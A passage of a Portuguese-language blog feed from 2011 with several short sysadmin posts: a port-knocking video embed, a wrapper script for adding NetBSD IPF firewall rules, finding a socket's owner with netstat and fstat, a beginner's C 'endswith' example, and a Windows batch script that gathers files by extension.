term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Port Knocking</title><content type='html'>Fala galerinha boa,&lt;br /&gt;&lt;br /&gt;Nesse video mostro de maneira bem simples como funciona o port knocking e mostro o ambiente que usarei num outro vídeo para mostrar na prática como ele funciona.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_ZBw0xu5ifQ?hl=pt&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/_ZBw0xu5ifQ?hl=pt&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6997954557048362455?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6997954557048362455/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/03/port-knocking.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6997954557048362455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6997954557048362455'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/03/port-knocking.html' title='Port Knocking'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-8918524709199577014</id><published>2011-03-03T04:12:00.008-03:00</published><updated>2011-03-03T04:37:06.763-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>IPF - Inserir regras via linha de comando</title><content type='html'>&lt;div style="text-align: justify;"&gt;Fala galerinha boa,&lt;br /&gt;&lt;br /&gt;Estava aqui dando uma revisada no &lt;span style="font-weight: bold;"&gt;IPF &lt;/span&gt;(&lt;span style="font-style: italic;"&gt;IP Filter - Filtro de pacotes padrão do NetBSD&lt;/span&gt;), e me deparei com uma coisa incômoda. O &lt;span style="font-weight: bold;"&gt;IPF &lt;/span&gt;não tem um comando para adicionar regras numa lista existente. Para fazer isso, por padrão, nós precisamos usar o comando echo para enviar a nova regra para o comando &lt;span style="font-weight: bold;"&gt;ipf &lt;/span&gt;com a opção&lt;span style="font-weight: bold;"&gt; -f -&lt;/span&gt;. Isso ficaria mais ou menos assim:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;interface# echo 'block in quick all' | ipf -f -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para cada regra que quisermos adicionar, precisaremos fazer isso. Que chato, usar o comando echo para adicionar regras à lista do &lt;span style="font-weight: bold;"&gt;IPF&lt;/span&gt;... Então fui fazer um script pra resolver essa situação. São coisas bestas que acho que já deveriam estar implementadas para facilitar a vida dos administradores. Mas em fim, olha aí como é complexo o script:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;interface&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;# cat ipfadd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;echo $* | ipf -f -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Criei um arquivo chamado ipfadd e inseri &lt;span style="color: rgb(204, 0, 0);"&gt;APENAS uma linha nele&lt;/span&gt;. Esta linha pega os argumentos passados para o script e envia para o &lt;span style="font-weight: bold;"&gt;ipf -f -&lt;/span&gt; (como precisariamos fazer na mão grande).&lt;br /&gt;&lt;br /&gt;Não podemos esquecer de dar permissão de execução para o script:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;interface# chmod +x ipfadd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;interface# ls -l ipfadd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;-rwxr-xr-x  1 root  wheel  19 Mar  3 01:11 ipfadd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora para usar ele sem incômodos copiamos para a pasta &lt;span style="font-weight: bold;"&gt;/sbin&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;interface&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;# cp ipfadd /sbin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pronto. Agora adicionar regras à lista do &lt;span style="font-weight: bold;"&gt;IPF &lt;/span&gt;ficou mais fácil. Podemos fazer assim:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;interface&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;# ipfadd pass in all&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;interface&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;# ipfadd pass out all&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora para verificarmos a lista de regras, basta usar o comando &lt;span style="font-weight: bold;"&gt;ipfstat -io&lt;/span&gt; (as opções &lt;span style="font-weight: bold;"&gt;-io&lt;/span&gt; significam: &lt;span style="font-weight: bold;"&gt;i&lt;/span&gt;, para incomming, e &lt;span style="font-weight: bold;"&gt;o&lt;/span&gt; para outcomming):&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;interface&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;# ipfstat -io&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;pass out all&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;pass in all&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Veja que as regras que inserimos com o nosso novo script foram adcionadas com sucesso à lista. É claro que esse script pode ser melhorado, sempre existe campo para melhora. Mas o objetivo foi apenas encontrar uma solução bem rápida e simples para o desconforto apresentado.&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-8918524709199577014?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/8918524709199577014/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/03/ipf-inserir-regras-via-linha-de-comando.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8918524709199577014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8918524709199577014'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/03/ipf-inserir-regras-via-linha-de-comando.html' title='IPF - Inserir regras via linha de comando'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6453456949932407917</id><published>2011-02-24T06:16:00.003-03:00</published><updated>2011-02-28T23:03:27.199-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>NetBSD - Descobrindo o dono de um socket</title><content type='html'>&lt;div style="text-align: justify;"&gt;Fala galerinha boa,&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estava navegando net a dentro quando encontrei uma informação interessante que quero deixar guardado aqui para futuro uso. Muita gente ja teve o interesse em descobrir qual usuário iniciou um socket específico (socket = serviço ouvindo em uma porta da rede). Então segue o exemplo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;DESCOBRINDO O PCB DO SOCKET&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;interface# netstat -Aa&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;Active Internet connections (including servers)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;PCB      Proto Recv-Q Send-Q  Local Address      Foreign Address    State&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;c20e99c4 tcp        0     52  192.168.56.1.ssh   192.168.56.1.50123 ESTABLISHED&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;c20e9bb8 tcp        0      0  *.ssh              *.*                LISTEN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;       0 udp        0      0  *.bootpc           *.*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Usando a opção &lt;span style="font-weight: bold;"&gt;-A&lt;/span&gt; nós podemos descobrir o &lt;span style="font-weight: bold;"&gt;PCB&lt;/span&gt; (Protocol Control Block) , essas letras  e númeors antes do protocolo, do socket em questão. O &lt;span style="font-weight: bold;"&gt;PCB&lt;/span&gt; é único para cada socket, e com ele podemos pegar a informação que nos interessa no momento:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;USANDO O PCB PARA DESCOBRIR O DONO DO SOCKET&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;interface# fstat | grep c20e99c4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:lucida grande;" &gt;root     sshd         613    5* internet stream tcp c20e99c4 192.168.56.101:22 &lt;-&gt; 192.168.56.1:50123&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O comando &lt;span style="font-weight: bold;"&gt;fstat&lt;/span&gt; é usado para exibir informações de um arquivo aberto. Como no NetBSD podemos caracterizar a grande maioria das coisas como arquivo, com o socket não é diferente. Usamos o fstat e fazemos um filtro com o &lt;span style="font-weight: bold;"&gt;PCB&lt;/span&gt; referente ao socket que nos interessa.&lt;br /&gt;&lt;br /&gt;Assim na primeira linha temos a informação de quem iniciou o serviço que está ouvindo na porta da rede.&lt;br /&gt;&lt;br /&gt;Um forte abraço,&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6453456949932407917?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6453456949932407917/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/netbsd-descobrindo-o-dono-de-um-socket.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6453456949932407917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6453456949932407917'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/netbsd-descobrindo-o-dono-de-um-socket.html' title='NetBSD - Descobrindo o dono de um socket'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-4143908047761075429</id><published>2011-02-21T07:04:00.006-03:00</published><updated>2011-02-21T07:23:04.818-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>C String endswith</title><content type='html'>&lt;div style="text-align: justify;"&gt;Estou aqui mais uam vez,&lt;br /&gt;&lt;br /&gt;Então, estou umplementando o mesmo programinha que fiz em batch (hunter.bat), agora em C no NetBSD (é um passa tempo mesmo). Me deparei com uma situação onde precisei comparar a parte final de duas strings. Percebi que no C não temos a função endswith(3) por isso desenvolvi uma.&lt;br /&gt;&lt;br /&gt;Essa função recebe duas strings e as compara. Caso sejam iguais ela retorna 1, caso contrário ela retorna 0.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Você pode baixar o arquivo de cabeçalho (strext.h) no seguinte link:&lt;br /&gt;&lt;a href="http://www.4shared.com/file/v7P_VNr0/strext.html"&gt;http://www.4shared.com/file/v7P_VNr0/strext.html&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Segue um exemplo de como usar este cabeçalho:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;font-family:courier new;" &gt;/* Estou incluindo o caminho completo para o cabeçalho stdio.h por que o blog não aceita&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;font-family:courier new;" &gt;     que eu coloque os simbolos de "maior que" e "menor que".&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;font-family:courier new;" &gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;#include "/usr/include/stdio.h"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;#include "strext.h"&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; //AQUI ESTOU CHAMANDO O CABEÇALHO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;int main(int argc, char *argv[]){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;  char *nome = argv[1];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;  char *ext = "argv[2];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;  if(endswith(nome, ext) == 1){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;    printf("Sao iguais.\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;  }  else {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;    printf("Sao diferentes.\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(0, 102, 0);font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Observe a saída do programa acima, usando o cabeçalho, aqui no meu computador:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;BSDevel# ./stringext Alan ana&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;Sao diferentes.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;BSDevel# ./stringext Alan an&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;Sao iguais.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;É isso aí pessoal. Talvez você encontre uma outra solução. Se isso acontecer, coloque ela aqui como comentário, vamos aumentar em conhecimento. Eu estou estudando C, estou em fase de aprendizado, então não tome essa solução como absoluta. Esta foi apenas a maneira que eu achei de solucionar o meu problema.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-4143908047761075429?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/4143908047761075429/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/c-string-endswith.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/4143908047761075429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/4143908047761075429'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/c-string-endswith.html' title='C String endswith'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-786961415584360504</id><published>2011-02-19T23:00:00.009-03:00</published><updated>2011-02-21T07:04:23.929-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>HUNTER - Varrendo e Organizando arquivos</title><content type='html'>&lt;div style="text-align: justify;"&gt;Fala galerinha boa!&lt;br /&gt;&lt;br /&gt;Hoje parei pra fazer um programinha besta em Batch (.bat) para me ajudar com uma tarefa chata aqui no meu computador. Vou compartilhar com vocês essa viagem. E... toma-lhe código:&lt;br /&gt;&lt;br /&gt;-------------- Hunter.bat --------------&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;@echo off&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;SET PASTA="%temp%\hunter"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;IF /I "%~2"=="h" (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt; GOTO AJUDA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;) ELSE IF /I "%~1"=="h" (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt; GOTO AJUDA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;) ELSE IF "%~1"=="" (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  GOTO AJUDA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;IF EXIST %PASTA% (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  rd %PASTA%&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;mkdir %PASTA%&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;type NUL &gt; saida.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;for /R %1 %%i in (%~2) DO (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  echo %%i &gt;&gt; saida.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;for /F "usebackq delims==" %%i IN (saida.txt) DO (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  IF EXIST %"PASTA%\%%~ni%%~xi" (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;    move "%%i" "%PASTA%\b%%~ni%%~xi"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  ) ELSE (&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;    move "%%i" "%PASTA%\" )&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;move %PASTA% .&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;GOTO FIM&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;:AJUDA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo ----------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo     USO: %0 [LOCAL] ["*.txt *.pdf *.zip"]    &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo        Faz-se necessario o uso das aspas ("")&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo ----------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  GOTO FIM&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;:FIM&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;Echo --------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo     Hunter - Por ALan MeC Lacerda&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo   19/02/2011 Toda diversao reservada&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;  Echo --------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-style: italic;"&gt;cmd /c exit&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;------------------------- FIM --------------------------&lt;br /&gt;&lt;br /&gt;O objetivo desse brinquedo é varrer os subdiretórios a partir de onde você indicar à procura de arquivos com a(s) extensão(ões) que você indicar. Daí ele cria na pasta corrente uma outra pasta contendo os arquivos que ele encontrou.&lt;br /&gt;&lt;br /&gt;Outra caracteristica interessante é que se ao mover o arquivo para a pasta de destino, já existir um arquivo com o mesmo nome, o programa irá renomear o arquivo atual para &lt;span style="font-style: italic;"&gt;"b"+nomedoarquivo&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;CUIDADO&lt;/span&gt;&lt;br /&gt;O programinha foi escrito para &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;MOVER &lt;/span&gt;os arquivos que ele encontrar e não copiar, por isso os arquivos sairão do local de origem. Observe antes se é isso o que você realmente quer fazer. Se não for, altere o programa para fazer a cópia dos arquivos ao invés de movê-los.&lt;br /&gt;&lt;br /&gt;Fiz UpLoad do arquivo na web. Se quiser baixá-lo, segue o link: &lt;a href="http://www.4shared.com/file/HmgXd_DP/hunter.html"&gt;http://www.4shared.com/file/HmgXd_DP/hunter.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Forte abraços,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-786961415584360504?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/786961415584360504/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/hunter-varrendo-e-organizando-arquivos.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' 